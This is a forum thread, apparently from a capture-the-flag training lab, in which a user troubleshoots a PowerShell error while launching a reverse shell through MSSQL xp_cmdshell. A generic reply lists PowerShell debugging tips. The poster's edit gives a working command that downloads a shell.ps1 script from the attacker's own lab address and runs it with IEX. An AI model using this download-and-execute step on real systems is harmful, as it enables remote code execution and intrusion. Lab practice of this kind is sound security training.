Starting Point - Foothold - PowerShell Error (Utility Module could not be loaded)

Hello there

While doing the foothold part of the starting point, I ran into following error when trying to execute the reverse shell through the MSSQL xp_cmdshell:

New-Object : The ‘New-Object’ command was found in the module ‘Microsoft.PowerShell.Utility’, but the module could not be loaded. For more information, run ‘Import-Module Microsoft.PowerShell.Utility’.

The Python HTTP Server does not recieve any Status Code at all when executing.

My Server is up and running on port 80 in the same directory where the shell.ps1-File is located. I am listening on Port 443 and changed IPs in PS Command and xp_cmdshell-Commnd to my tun0 address.

I even tried installing the PowerShell.Utility Module through the xp_cmdshell but no luck there.

I have no idea where to go from here, so I am addressing the forum as a last resort.

Thanks

EDIT:
I resolved it by changing the command to:
xp_cmdshell "powershell “IEX (New-Object Net.WebClient).DownloadString("http://10.10.14.27/shell.ps1\“);”;

The only thing changed is adding another ;" to the end of the command… I don’t know if thats what resolved the error or if it’s just because I waited a couple of minutes…

There are various PowerShell errors, so the steps to fix them may differ depending on the specific error you encounter. Here are some general steps that you can follow to resolve common PowerShell errors:

Identify the error message: Before you can fix an error, you need to know what the error message says. The error message will usually include a description of the error and a code. Take note of this information, as it can help you find a solution.

Search for a solution: Once you have identified the error message, search for a solution online. Many PowerShell errors are common, and you may find a solution by searching for the error message. Microsoft’s documentation and community forums can be a good place to start.

Update PowerShell: If you are using an outdated version of PowerShell, it may be causing errors. Check for updates to PowerShell and install them if available.

Check your script: If you are running a PowerShell script, review the script for any errors or syntax mistakes. PowerShell scripts are sensitive to spacing, capitalization, and other syntax rules, so even small errors can cause issues.

Regards,
Rachel Gomez